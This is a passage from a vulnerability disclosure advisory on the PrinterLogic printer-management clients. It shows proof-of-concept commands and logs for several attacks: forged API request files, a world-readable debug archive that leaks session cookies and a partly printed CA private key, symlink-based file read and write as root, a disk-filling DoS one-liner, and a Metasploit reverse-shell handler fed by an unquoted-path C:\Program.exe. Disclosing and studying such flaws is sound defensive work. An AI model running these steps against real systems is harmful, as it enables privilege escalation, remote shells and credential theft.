Optional[int]=None) -> str: 86 params = {'confirmupload':1, 87 'uploadid':upload_id, 88 'packagetype':context.os_driver_package_type, 89 'oslist':context.os_id, 90 'printprocess':'', 91 'driverdate':local_driver_data.date.strftime('%m/%d/%Y'), 92 'driverversion':local_driver_data.version, 93 'make':local_driver_data.manufacturer, 94 'modelname':local_driver_data.model, 95 'annotation':annotation, 96 'inffile':local_driver_data.local_paths[0]} 97 if replace_driver_id is not None: 98 params['existing_driver_id'] = replace_driver_id 99 try: 100 response = common.request_path('GET', 'client/gateway.php', context, params=params, timeout=600) 101 result = ElementTree.fromstring(response.text) 102 if result.attrib['code'] != '1': 103 description = result.find('./desc').text 104 raise common.ServerError(description, description) 105 return result.find('./desc').text 106 except exceptions.Timeout: 107 message = 'When trying to finalize the driver upload, the server connection timed out and was closed. However, the driver will probably be available after the database operation is completed.' 108 raise common.ServerError(message) [/code] Trying to upload a new driver - the HTTPS request was blocked using Burp Suite Pro, so it was not sent to the remote server on [redacted].printercloud10.com (the SaaS version was out of scope during the security assessment of the macOS version). By forging a custom request, it is possible to force the upload of a new driver using the API. Creation of a new request inside `/opt/PrinterInstallerClient/tmp/requests/` to upload a new driver: user@laptop requests % cat /tmp/test.file UPLOAD_DRIVER aHR0cHM6 W3JlZGFjdGVkXS5wcmludGVyY2xvdWQxMC5jb20= Lw== UEhQU0VTU0lEPWM3Mjk2OGQ2ZTY4ZDc4MWE4MDA1Mjg3NTgwMjliMjMyO1BIUFNFU1NJRD1jNzI5NjhkNmU2OGQ3ODFhODAwNTI4NzU4MDI5YjIzMjtYU1JGLVRPS0VOPWV5SnBkaUk2SWx0eVpXUmhZM1JsWkYwaUxDSjJZV3gxWlNJNklsdHlaV1JoWTNSbFpGMGlMQ0p0WVdNaU9pSmJjbVZrWVdOMFpXUmRJbjA9O2xhcmF2ZWxfc2Vzc2lvbj1leUpwZGlJNklsdHlaV1JoWTNSbFpGMGlMQ0oyWVd4MVpTSTZJbHR5WldSaFkzUmxaRjBpTENKdFlXTWlPaUpiY21Wa1lXTjBaV1JkSW4wPTtQSFBTRVNTSUQ9YzcyOTY4ZDZlNjhkNzgxYTgwMDUyODc1ODAyOWIyMzI7WFNSRi1UT0tFTj1leUpwZGlJNklsdHlaV1JoWTNSbFpGMGlMQ0oyWVd4MVpTSTZJbHR5WldSaFkzUmxaRjBpTENKdFlXTWlPaUpiY21Wa1lXTjBaV1JkSW4wPTtsYXJhdmVsX3Nlc3Npb249ZXlKcGRpSTZJbHR5WldSaFkzUmxaRjBpTENKMllXeDFaU0k2SWx0eVpXUmhZM1JsWkYwaUxDSnRZV01pT2lKYmNtVmtZV04wWldSZEluMD07UEhQU0VTU0lEPWM3Mjk2OGQ2ZTY4ZDc4MWE4MDA1Mjg3NTgwMjliMjMyO1hTUkYtVE9LRU49ZXlKcGRpSTZJbHR5WldSaFkzUmxaRjBpTENKMllXeDFaU0k2SWx0eVpXUmhZM1JsWkYwaUxDSnRZV01pT2lKYmNtVmtZV04wWldSZEluMD07bGFyYXZlbF9zZXNzaW9uPWV5SnBkaUk2SWx0eVpXUmhZM1JsWkYwaUxDSjJZV3gxWlNJNklsdHlaV1JoWTNSbFpGMGlMQ0p0WVdNaU9pSmJjbVZrWVdOMFpXUmRJbjA9Owo= cHJpbnRlcg== cDk3Mg== LTE= user@laptop requests % cp /tmp/test.file /opt/PrinterInstallerClient/tmp/requests/26TJdkfj0923lkaFlkSDSDn-202112091901313 user@laptop requests % After this file is created inside `/opt/PrinterInstallerClient/tmp/requests/`, a new task will be created: 2021-12-10 18:37:55,492 (INFO): Creating task: Command: 'UPLOAD_DRIVER' Arguments: https:,[redacted].printercloud10.com,/,PHPSESSID=c72968d6e68d781a800528758029b232;PHPSESSID=c72968d6e68d781a800528758029b232;XSRF-TOKEN=eyJpdiI6IltyZWRhY3RlZF0iLCJ2YWx1ZSI6IltyZWRhY3RlZF0iLCJtYWMiOiJbcmVkYWN0ZWRdIn0=;laravel_session=eyJpdiI6IltyZWRhY3RlZF0iLCJ2YWx1ZSI6IltyZWRhY3RlZF0iLCJtYWMiOiJbcmVkYWN0ZWRdIn0=;PHPSESSID=c72968d6e68d781a800528758029b232;XSRF-TOKEN=eyJpdiI6IltyZWRhY3RlZF0iLCJ2YWx1ZSI6IltyZWRhY3RlZF0iLCJtYWMiOiJbcmVkYWN0ZWRdIn0=;laravel_session=eyJpdiI6IltyZWRhY3RlZF0iLCJ2YWx1ZSI6IltyZWRhY3RlZF0iLCJtYWMiOiJbcmVkYWN0ZWRdIn0=;PHPSESSID=c72968d6e68d781a800528758029b232;XSRF-TOKEN=eyJpdiI6IltyZWRhY3RlZF0iLCJ2YWx1ZSI6IltyZWRhY3RlZF0iLCJtYWMiOiJbcmVkYWN0ZWRdIn0=;laravel_session=eyJpdiI6IltyZWRhY3RlZF0iLCJ2YWx1ZSI6IltyZWRhY3RlZF0iLCJtYWMiOiJbcmVkYWN0ZWRdIn0=;,printer,p972,,-1 User ID: 501 Group ID: 20 Use UI: True Origin: 'INTERFACE' 2021-12-10 18:37:55,495 (DEBUG): Checking if home URL should be changed to: https://[redacted].printercloud10.com/ 2021-12-10 18:37:55,498 (DEBUG): Getting clientsettings.dat from server (or using cache at /opt/PrinterInstallerClient/tmp/data/clientsettings.dat, if up-to-date) 2021-12-10 18:37:55,532 (DEBUG): Attempting to open: https://[redacted].printercloud10.com/client/gateway.php?redirect=1&ips=192.168.100.28%2C192.168.1.100%2C100.64.0.1&file=/clientsettings.dat&PPPSETID=printer&urlc=&idc=p972&if_no_login= A popup will then appear on the laptop, asking to choose a driver to add to the repository: [please use the HTML version at https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html] [please use the HTML version at https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html] After choosing a driver, the upload process starts: [please use the HTML version at https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html] During the `obtaining upload ID`, we can see the request is sent to the remote server: Using Burp, the request is intercepted and blocked. However, the investigation was pot pursued thereafter because testing the remote server is not allowed. No malicious requests were sent to the remote server. [please use the HTML version at https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html] [please use the HTML version at https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html] If the request was not dropped, the process would likely have continued and a new driver would have been uploaded on the website. After analyzing the bzip2 temporary archive that was generated in `/tmp` and supposed to be sent to the remote server, it was found out that this archive contains multiple programs that will then be provided to other users: 1/Contents/Applications/HP Alerts.app/Contents/MacOS/HP Alerts: Mach-O 64-bit x86_64 executable, flags: 1/Contents/Applications/HP Email Alerts.app/Contents/MacOS/HP Email Alerts: Mach-O 64-bit x86_64 executable, flags: 1/Contents/Applications/HP Event Status.app/Contents/MacOS/HP Event Status: Mach-O 64-bit x86_64 executable, flags: 1/Contents/Applications/LegacyScanEventHandler.app/Contents/MacOS/LegacyScanEventHandler: Mach-O 64-bit x86_64 executable, flags: 1/Contents/Frameworks/HSDCommonLib.framework/Versions/A/Runtime/hppaauthtool: Mach-O 64-bit x86_64 executable, flags: 1/Contents/MacOS/HP Utility: Mach-O 64-bit x86_64 executable, flags: 1/Contents/Resources/launcher: Mach-O 64-bit x86_64 executable, flags: 3/Contents/MacOS/Inkjet2: Mach-O 64-bit x86_64 executable, flags: 4: Mach-O 64-bit x86_64 executable, flags: 5/HPDeviceModel.framework/Versions/4.0/Frameworks/Core.framework/Versions/4.0/XPCServices/com.hp.devicemodel.TransportProxy.xpc/Contents/MacOS/com.hp.devicemodel.TransportProxy: Mach-O universal binary with 2 architectures: [i386:Mach-O i386 executable, flags:] [x86_64:Mach-O 64-bit x86_64 executable, flags:] 5/HPDeviceModel.framework/Versions/4.0/Runtime/hpdot4d.app/Contents/MacOS/hpdot4d: Mach-O universal binary with 2 architectures: [i386:Mach-O i386 executable, flags:] [x86_64:Mach-O 64-bit x86_64 executable, flags:] 5/HPDeviceModel.framework/Versions/4.0/Tools/dmfdsclient: Mach-O universal binary with 2 architectures: [i386:Mach-O i386 executable, flags:] [x86_64:Mach-O 64-bit x86_64 executable, flags:] 5/HPDeviceMonitoring.framework/Versions/1.0/Helpers/HP Device Monitor Manager.app/Contents/Library/LoginItems/HP Device Monitor.app/Contents/MacOS/HP Device Monitor: Mach-O 64-bit x86_64 executable, flags: 5/HPDeviceMonitoring.framework/Versions/1.0/Helpers/HP Device Monitor Manager.app/Contents/MacOS/HP Device Monitor Manager: Mach-O 64-bit x86_64 executable, flags: 5/HPDM.framework/Versions/5.0/Runtime/hpdot4d.app/Contents/MacOS/hpdot4d: Mach-O 64-bit x86_64 executable, flags: 5/HPDM.framework/Versions/5.0/XPCServices/com.hp.dm.5.TransportProxy.xpc/Contents/MacOS/com.hp.dm.5.TransportProxy: Mach-O 64-bit x86_64 executable, flags: 6/Contents/MacOS/commandtohp: Mach-O 64-bit x86_64 executable, flags: 7/Contents/MacOS/pdftopdf: Mach-O 64-bit x86_64 executable, flags: An attacker with admin privileges can modify this archive to insert malicious programs. It is possible to update/change the drivers that will be provided to other users. In the security assessment performed in 2022, it was proven that it was possible to upload malicious drivers to the VA/SaaS versions without admin privileges. ## Details - Insecure generation of debug archive The file `/opt/PrinterInstallerClient/service_interface/lib/python3.6/printer_installer/client/service/process/task/bundle_debug.pyc.py` contains instructions to generate a zip archive when the task `BUNDLE_DEBUG` is created. Using the API without authentication, it is possible to generate a debug archive as root. The resulting archive will be world-readable and contains secrets. Content of `/opt/PrinterInstallerClient/service_interface/lib/python3.6/printer_installer/client/service/process/task/bundle_debug.pyc.py`: [code:python] 12 class BundleDebug(task.Task): 13 request_name = 'BUNDLE_DEBUG' 14 never_execute_for_all_users = True 15 never_use_ui = True [...] 44 def __call(self): 45 zip_name = datetime.datetime.now().strftime('PrinterLogic-Debug-%Y%m%d%H%M%S.zip') 46 zip_path = os.path.join(self._output_directory, zip_name) 47 with zipfile.ZipFile(zip_path, 'w', compression=(zipfile.ZIP_BZIP2)): [/code] Creating a `BUNDLE_DEBUG` task: user@laptop ~ % echo -n 'BUNDLE_DEBUG' > /opt/PrinterInstallerClient/tmp/requests/0gAds9DkaG9934-20211209191990 A task will be created: 2021-12-10 20:17:10,158 (DEBUG): Processing request at '/opt/PrinterInstallerClient/tmp/requests/0gAds9DkaG9934-20211209191990' 2021-12-10 20:17:10,163 (INFO): Received request: BUNDLE_DEBUG 2021-12-10 20:17:10,166 (INFO): Creating task: Command: 'BUNDLE_DEBUG' Arguments: User ID: 501 Group ID: 20 Use UI: False Origin: 'INTERNAL' And a resulting file will be created in `/opt/PrinterInstallerClient/bin`: root@laptop bin # ls -la /opt/PrinterInstallerClient/bin total 1832 drwxr-xr-x 20 root wheel 640 Dec 10 20:17 . drwxr-xr-x 13 root wheel 416 Dec 9 20:20 .. -r--r--r-- 1 root wheel 814802 Dec 10 20:17 PrinterLogic-Debug-20211210201710.zip -r-xr-x--- 1 root wheel 215 Mar 5 2021 ad_override_file.sh -r-xr-x--- 1 root wheel 269 Mar 5 2021 bundle_debug.sh -r-xr-x--- 1 root wheel 211 Mar 5 2021 configure_proxy.sh -r-xr-x--- 1 root wheel 165 Mar 5 2021 disable_home_url_security.sh -r-xr-x--- 1 root wheel 233 Mar 5 2021 disable_ipp_queue_interpretation.sh -r-xr-x--- 1 root wheel 209 Mar 5 2021 disable_updates.sh -r-xr-x--- 1 root wheel 243 Mar 5 2021 ignore_certificate_errors.sh -r-xr-x--- 1 root wheel 3343 Mar 5 2021 install_fips_openssl.sh -r-xr-x--- 1 root wheel 214 Mar 5 2021 kerberos_timeout.sh -r-xr-x--- 1 root wheel 205 Mar 5 2021 lock_home_url.sh -r-xr-x--- 1 root wheel 188 Mar 5 2021 refresh.sh -r-xr-x--- 1 root wheel 725 Mar 5 2021 restart_service.sh -r-xr-x--- 1 root wheel 197 Mar 5 2021 set_home_url.sh -r-xr-x--- 1 root wheel 332 Mar 5 2021 toggle_debug_mode.sh -r-xr-x--- 1 root wheel 1559 Mar 5 2021 uninstall.sh -r-xr-x--- 1 root wheel 212 Mar 5 2021 use_authorization_code.sh -r-xr-x--- 1 root wheel 210 Mar 5 2021 user_from_file.sh root@laptop bin # This archive is world-readable and contains some files. Content of `PrinterLogic-Debug-20211210201710.zip`: kali% 7z l PrinterLogic-Debug-20211210201710.zip 7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21 p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,4 CPUs Intel(R) Core(TM) i3-5005U CPU @ 2.00GHz (306D4),ASM,AES-NI) Scanning the drive for archives: 1 file, 814802 bytes (796 KiB) Listing archive: PrinterLogic-Debug-20211210201710.zip -- Path = PrinterLogic-Debug-20211210201710.zip Type = zip Physical Size = 814802 Date Time Attr Size Compressed Name ------------------- ----- ------------ ------------ ------------------------ 2021-12-10 20:17:10 ..... 269 261 basic_info.txt 2021-12-10 19:49:56 ..... 2820 1739 configuration.json 2021-12-10 19:15:16 D.... 0 0 data 2021-12-09 18:39:28 ..... 1125 617 data/printer_502_m101664.xml 2021-12-07 18:34:50 ..... 1074 611 data/printer_488_m101664.xml 2021-12-07 18:43:36 ..... 1063 598 data/printer_973_m101664.xml 2021-12-09 18:40:34 ..... 1130 620 data/printer_501_m101664.xml 2021-12-09 18:38:40 ..... 1096 609 data/printer_499_m101664.xml 2021-12-07 21:38:18 ..... 1063 597 data/printer_972_m101664.xml 2021-12-09 16:27:12 ..... 15977 6254 data/clientsettings.dat 2021-12-09 18:39:10 ..... 1074 596 data/printer_503_m101664.xml 2021-12-09 18:32:38 ..... 1102 605 data/printer_500_m101664.xml 2021-12-07 16:53:40 D.... 0 0 commands 2021-12-09 19:28:40 D.... 0 0 log 2021-12-10 19:49:56 ..... 31 70 log/HOMEURL 2021-12-10 17:32:40 ..... 2 39 log/service_last_exit 2021-12-10 20:17:10 ..... 5261882 308735 log/service_info.log 2021-12-10 20:14:22 ..... 114212 4151 log/launchd_service_error.log 2021-12-10 20:17:10 ..... 6126626 388599 log/service.log 2021-12-10 19:57:38 ..... 36208 2789 log/interface.log 2021-12-10 17:32:40 ..... 10605 1464 log/launchd_service.log 2021-12-10 20:15:28 ..... 241867 80421 log/cpu.prof 2021-12-10 17:35:02 ..... 161358 7113 log/PrinterLogicIdpAuthentication.log 2021-12-07 16:53:40 ..... 2068 697 log/install.log 2021-12-09 18:42:44 D.... 0 0 printers 2021-12-10 20:12:26 ..... 754 428 printers/DIRECT_IP_426.json 2021-12-10 20:12:26 ..... 722 422 printers/DIRECT_IP_689.json 2021-12-10 20:12:26 ..... 758 425 printers/DIRECT_IP_427.json 2021-12-10 20:12:26 ..... 738 429 printers/DIRECT_IP_413.json 2021-12-10 20:17:24 ..... 735 362 checkin_info.xml 2021-12-10 20:17:24 ..... 3219 749 all_printers.txt 2021-12-07 18:35:52 D.... 0 0 cups 2021-12-09 18:42:42 ..... 1852 320 cups/access_log 2021-12-10 20:17:18 ..... 247 210 job_record.json 2021-12-10 20:17:24 ..... 0 14 missing__pull_print_release_record.json 2021-12-10 20:17:24 ..... 0 14 missing__service_client ------------------- ----- ------------ ------------ ------------------------ 2021-12-10 20:17:24 11991677 810558 31 files, 5 folders kali% The `configuration.json` file contains: - - Valid PHP session: kali% cat configuration.json { "home_url": "https://[redacted].printercloud10.com/", "home_url_locked": null, "session_id": "PHPSESSID=c72968d6e68d781a800528758029b232;PHPSESSID=c72968d6e68d781a800528758029b232;XSRF-TOKEN=eyJpdiI6IltyZWRhY3RlZF0iLCJ2YWx1ZSI6IltyZWRhY3RlZF0iLCJtYWMiOiJbcmVkYWN0ZWRdIn0=;laravel_session=eyJpdiI6IltyZWRhY3RlZF0iLCJ2YWx1ZSI6IltyZWRhY3RlZF0iLCJtYWMiOiJbcmVkYWN0ZWRdIn0=;PHPSESSID=c72968d6e68d781a800528758029b232;XSRF-TOKEN=eyJpdiI6IltyZWRhY3RlZF0iLCJ2YWx1ZSI6IltyZWRhY3RlZF0iLCJtYWMiOiJbcmVkYWN0ZWRdIn0=;laravel_session=eyJpdiI6IltyZWRhY3RlZF0iLCJ2YWx1ZSI6IltyZWRhY3RlZF0iLCJtYWMiOiJbcmVkYWN0ZWRdIn0=;PHPSESSID=c72968d6e68d781a800528758029b232;XSRF-TOKEN=eyJpdiI6IltyZWRhY3RlZF0iLCJ2YWx1ZSI6IltyZWRhY3RlZF0iLCJtYWMiOiJbcmVkYWN0ZWRdIn0=;laravel_session=eyJpdiI6IltyZWRhY3RlZF0iLCJ2YWx1ZSI6IltyZWRhY3RlZF0iLCJtYWMiOiJbcmVkYWN0ZWRdIn0=;", - - The `data/clientsettings.dat` file containing the private key of the previous Certificate Authority (CVE-2025-27685 - Hardcoded Private key for the PrinterLogic CA and Hardcoded password) and SNMP keys: kali% cat data/clientsettings.dat | xmllint --format - [...] -----BEGIN PRIVATE KEY----- MIIJQwIBADANBgkqhkiG9w0BAQEFAASCCS0wggkpAgEAAoICAQCs4uTY7wGVIs14 OPZnEx33WwXg3b5aAEEw6uTiwgutiZojUoAJ7hytkEK7KDOB1TL7/IphKmtJdkix LgZYiLtRjzejOeQNPNbvROg/TtBADTalWp6d7j3Sr8a6yz0lwbMYgdpmu1M9kxAg c10PX2tbjcnGfP2LQ5eXofHkkyvGtCaEo9RSs0DOLsIrK9Y6yctz+tKhYca0wPjI qp0IQBfHaCnskmqrWMlUU2PW9b3cIY96qCI1qvlIYBJwm49tC6Wq84BlkNHmZ/Fz 7i56aAA6F9O46iODUrJvabwDs7N6MSuzoCatC4kciig85pr6jengpWbp3E6Z7ybo h+fX8seGmYu0QN1/ipAJ5PZ5Dy9RoG7NA66h/EYDWxunL0Oo3w6sZi3LLyLl5Cvt [...] public private [...] [redacted] [...] [redacted] [...] - - XML containing SNMP communities of the printers: kali% xmllint --format data/printer_503_m101664.xml [...]
[redacted] [...]
public 1 [...] kali% Any local user can retrieve the configuration of the software, including PHP sessions and SNMP communities of printers. Any local user can DoS the laptop by creating files using `echo -n 'BUNDLE_DEBUG' > /opt/PrinterInstallerClient/tmp/requests/$RANDOM-$RANDOM` and filing the hard disk as root. ## Details - Arbitrary File Read as root It is possible to use the APIs to read the first line of any file in the laptop, even if the permissions don't allow reading this file. `/Users/pwnme-admin/secret/not-readable.file` is a file with `600` permissions and the directory `/Users/pwnme-admin/secret/` is using `700` permissions - these files are not readable by normal users: Content of `/Users/pwnme-admin/secret/`: sh-3.2# ls -la /Users/pwnme-admin/secret/ total 8 drwx------ 3 pwnme-admin 1000 96 Dec 9 19:43 . drwxr-xr-x 13 pwnme-admin 1000 416 Dec 10 20:57 .. -rw------- 1 pwnme-admin 1000 13 Dec 9 19:43 not-readable.file sh-3.2# As user, it is impossible to read this file: user@laptop ~ % ls -la /Users/pwnme-admin/secret/not-readable.file ls: /Users/pwnme-admin/secret/not-readable.file: Permission denied user@laptop ~ % cat /Users/pwnme-admin/secret/not-readable.file cat: /Users/pwnme-admin/secret/not-readable.file: Permission denied user@laptop ~ % Creating a new task using a symbolic link will allow getting the content of the first line of the file, as this file is opened by PrinterInstallerClientService running as root: user@laptop ~ % ln -s /Users/pwnme-admin/secret/not-readable.file /opt/PrinterInstallerClient/tmp/requests/26TJdkfj0923lkaFlkSDSDn-202112091901313 And the first line of this file will be saved in the logs. The logs can be read by any user: 2021-12-10 21:07:42,743 (INFO): Received request: not-readable 2021-12-10 21:07:42,755 (INFO): Creating task: Command: 'not-readable' Arguments: User ID: 1001 Group ID: 1000 Use UI: True Origin: 'INTERFACE' 2021-12-10 21:07:42,762 (ERROR): No matching process task for received request data: not-readable 2021-12-10 21:07:42,764 (INFO): Done with request: not-readable We can confirm as root that the content of the file is `not-readable`. Content of `/Users/pwnme-admin/secret/not-readable.file`: root@laptop pwnme-admin # cat /Users/pwnme-admin/secret/not-readable.file not-readable root@laptop pwnme-admin # Any local user can retrieve the first line of any file in the system. ## Details - Arbitrary File Write as root Using the APIs and symbolic links, it is possible to write into files as root. We will create a file owned by root with `600` as permissions. The file can be empty or can contain data. For the PoC, the file will contain `yo`: root@laptop /tmp # touch /tmp/test root@laptop /tmp # chmod 600 /tmp/test root@laptop /tmp # echo yo >> /tmp/test root@laptop /tmp # ls -la /tmp/test -rw------- 1 root wheel 3 Dec 10 21:55 /tmp/test root@laptop /tmp # cat /tmp/test yo root@laptop /tmp # By default, when a task is created and needs to write output, the filename used in the request will be reused in the `/opt/PrinterInstallerClient/tmp/responses/` output file. We will use the filename `1-1`. Creating a symbolic link inside `/opt/PrinterInstallerClient/tmp/responses/`: user@laptop responses % ln -s /tmp/test /opt/PrinterInstallerClient/tmp/responses/1-1 Creating a new task with /opt/PrinterInstallerClient/tmp/requests/1-1: user@laptop ~ % echo -n GET_CONTEXT_MENU_ITEMS > /opt/PrinterInstallerClient/tmp/requests/1-1 By checking the logs, we can confirm the symbolic link has been followed: 2021-12-10 22:00:08,035 (INFO): Received request: GET_CONTEXT_MENU_ITEMS 2021-12-10 22:00:08,043 (INFO): Creating task: Command: 'GET_CONTEXT_MENU_ITEMS' Arguments: User ID: 501 Group ID: 20 Use UI: True Origin: 'PLUGIN' 2021-12-10 22:00:08,056 (INFO): Done with request: GET_CONTEXT_MENU_ITEMS 2021-12-10 22:00:08,082 (DEBUG): Opening pipe at /opt/PrinterInstallerClient/tmp/responses/1-1 to write response 2021-12-10 22:00:08,102 (DEBUG): Writing plugin response to pipe at: b'1\n2\n[]' 2021-12-10 22:00:08,115 (DEBUG): Done writing response to pipe And the /tmp/test file has been overwritten: root@laptop /tmp # ls -la /tmp/test -rw------- 1 root wheel 6 Dec 10 22:00 /tmp/test root@laptop /tmp # cat /tmp/test 1 2 [] root@laptop /tmp # The potential misuse depends on the output of the task. Any local user can overwrite files as root. By overwriting specific files, it is possible to change the configuration of programs and get a Local Privilege Escalation. For example, an attacker updating the homeurl variable used by PrinterLogic to a malicious HTTP server will be able to insert malicious programs inside drivers. ## Details - Outdated OpenSSL version When running the daemons manually, some warning messages will appear. Warning messages about OpenSSL: user@laptop data % /opt/PrinterInstallerClient/service_interface/modules/PrinterLogicIdpAuthentication/PrinterLogicIdpAuthentication current-user http://192.168.100.1 501 /opt/PrinterInstallerClient/service_interface/modules/PrinterLogicIdpAuthentication/cryptography/hazmat/bindings/openssl/binding.py:177: CryptographyDeprecationWarning: OpenSSL version 1.0.2 is no longer supported by the OpenSSL project, please upgrade. The next version of cryptography will drop support for it. By analyzing the openssl library at `/opt/PrinterInstallerClient/lib/libcrypto.1.0.0.dylib`, it appears the version is `OpenSSL 1.0.2h-fips 3 May 2016`. This is also confirmed by reading the file `/opt/PrinterInstallerClient/bin/install_fips_openssl.sh`: [code:shell] 21 # Check for existing openssl installation 22 echo "Checking for OpenSSL 1.0.2 with fips wrapper in /usr/local/ssl" 23 if [[ -f /usr/local/ssl/bin/openssl ]]; then 24 valid_openssl=$(/usr/local/ssl/bin/openssl version | grep "1.0.2" | grep "-fips") 25 if [[ ! -z ${valid_openssl} ]]; then 26 echo " Congrats, you already have '${valid_openssl}' installed!" 27 exit 0 28 else 29 echo " Replacing $(/usr/local/ssl/bin/openssl version) installation found in /usr/local/ssl" 30 sudo rm -rf /usr/local/ssl 31 fi 32 fi 33 34 35 # Get all the fun stuff set up 36 _OPENSSL_FIPS_VERSION="2.0.12" 37 _OPENSSL_VERSION="1.0.2h" # [1] <------------------ OpenSSL 1.0.2h 38 _OPENSSL_FIPS_NAME="openssl-fips-${_OPENSSL_FIPS_VERSION}" 39 _OPENSSL_NAME="openssl-${_OPENSSL_VERSION}" 40 _OPENSSL_FIPS_TAR="${_OPENSSL_FIPS_NAME}.tar.gz" 41 _OPENSSL_TAR="${_OPENSSL_NAME}.tar.gz" 42 _OPENSSL_SOURCE_URL="https://www.openssl.org/source/" 43 _CURRENT=$(pwd) [...] 46 # Download the files from openssl 47 echo "Downloading OpenSSL source from ${_OPENSSL_SOURCE_URL}" 48 if [[ "${_OS}" == "OSX" ]]; then 49 curl ${_OPENSSL_SOURCE_URL}${_OPENSSL_TAR} -O 50 curl ${_OPENSSL_SOURCE_URL}${_OPENSSL_FIPS_TAR} -O [...] 69 # Compile and install fips wrapper, then openssl 70 echo "Configuring and Installing OpenSSL from source" 71 if [[ "${_OS}" == "OSX" ]]; then 72 cd ${_CURRENT}/${_OPENSSL_FIPS_NAME} \ 73 && chmod +x Configure \ 74 && ./Configure darwin64-x86_64-cc \ 75 && make \ 76 && sudo make install 77 cd ${_CURRENT}/${_OPENSSL_NAME} \ 78 && chmod +x Configure \ 79 && ./Configure darwin64-x86_64-cc shared fips \ 80 && make depend \ [/code] This version of OpenSSL is EOL since 2019. The solution is based on an outdated and unsupported OpenSSL library. ## Vulnerabilities affecting the Windows client ## Identification of the solution The laptop is running Windows 10 and the Printerlogic version is 25.0.0.426. Only a superficial analysis was performed on Printerlogic since this security assessment was mainly done against the default installation of a Windows 10 laptop and Printerlogic was a small part of this audit. ## Details - Insecure PrinterInstallerClientInterface.exe, PrinterInstallerClient.exe and PrinterInstallClientLauncher.exe The laptop uses PrinterLogic to automatically download and configure printer drivers. The PrinterLogic website is available at https://[redacted].printercloud10.com/: This solution is made of different components: - - A PHP back-end (out of scope), - - An extension in the browser (Chrome, Edge, Firefox), - - 3 Different process are running on the laptop: - - - PrinterInstallerClientInterface.exe, as `DOMAIN\user` - - - PrinterInstallerClient.exe, as `NT AUTHORITY\SYSTEM` - - - PrinterInstallerClientLauncher.exe, as `NT AUTHORITY\SYSTEM` By default, these 3 programs running on the laptop have no security at all: - - 32-bits - - No Data Execution Prevention - - No Address Space Layout Randomization - - No Control Flow Guard - - No Stack Protection Here is PrinterInstallerClient.exe running as `NT AUTHORITY\SYSTEM`: [please use the HTML version at https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html] Furthermore, these programs are a mix of outdated technologies: - - Pascal; - - Delphi; - - Python 2. ## Details - Local Privilege Escalation with insecure use of C:\Windows\Temp\PPP\Log When these 3 programs are analyzed, the logs are written into disk as `NT AUTHORITY\SYSTEM` into `C:\Windows\Temp\PPP\Log\`: [please use the HTML version at https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html] [please use the HTML version at https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html] All the users have full Read/Write access to these files/directories. Permissions of `PrinterInstallerClient.log`: [please use the HTML version at https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html] [please use the HTML version at https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html] Writing of logs as `NT AUTHORITY\SYSTEM`: [please use the HTML version at https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html] [please use the HTML version at https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html] With a symbolic link, it is possible to redirect the writing of logs as `NT AUTHORITY\SYSTEM` and to overwrite any file in the system to get a Local Privilege Escalation. The code also contains multiple race conditions that may allow Local Privilege Escalations. Also, some DLL hijacking vulnerabilities have been identified. An attacker can get Local Privilege Escalation. ## Details - Local Privilege Escalation with insecure use of C:\Users\%USER%\AppData\Local\Temp\ Another insecure file write has been identified in `C:\Users\%USER%\AppData\Local\Temp\`. These files are created as `NT AUTHORITY\SYSTEM` inside a directory under the control of the local user. With a symbolic link, it is possible to redirect the writing of these files as `NT AUTHORITY\SYSTEM` and to overwrite any file in the system to get a Local Privilege Escalation: Multiple files created in `C:\Users\%USER%\AppData\Local\Temp`: [please use the HTML version at https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html] [please use the HTML version at https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html] An attacker can get Local Privilege Escalation. ## Details - Remote Code Execution (Execution of C:\Program.exe during the installation of a driver) When a driver of a printer is installed using PrinterLogic, the `PrinterInstallerClient.exe` will execute several programs using the PATH `C:\Program Files (x86)\Printer Properties Pro\Printer Installer`: Command executed by `PrinterInstallerClient.exe`: [please use the HTML version at https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html] [please use the HTML version at https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html] Because the path is not quoted, the system will execute `C:\Program.exe` before executing programs located inside `C:\Program Files (x86)\Printer Properties Pro\Printer Installer`: [please use the HTML version at https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html] [please use the HTML version at https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html] `C:\Program.exe` executed by `PrinterInstallerClient.exe`: [please use the HTML version at https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html] This will allow an attacker to get a Remote Code Execution using Metasploit after placing a rogue program into `C:\Program.exe`. Using a Metasploit agent as `C:\Program.exe`, the attacker will receive a command execution from the network when a printer driver is installed: msf6 > use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp msf6 exploit(multi/handler) > set payload windows/shell/reverse_tcp payload => windows/shell/reverse_tcp msf6 exploit(multi/handler) > set LHOST 192.168.100.1 LHOST => 192.168.100.1 msf6 exploit(multi/handler) > set LPORT 10000 LPORT => 10000 msf6 exploit(multi/handler) > run [*] Started reverse TCP handler on 192.168.100.1:10000 [*] Encoded stage with x86/shikata_ga_nai [*] Sending encoded stage (267 bytes) to 192.168.100.28 [*] Command shell session 1 opened (192.168.100.1:10000 -> 192.168.100.28:65282 ) at 2021-11-26 05:19:14 -0500 Shell Banner: Microsoft Windows [Version 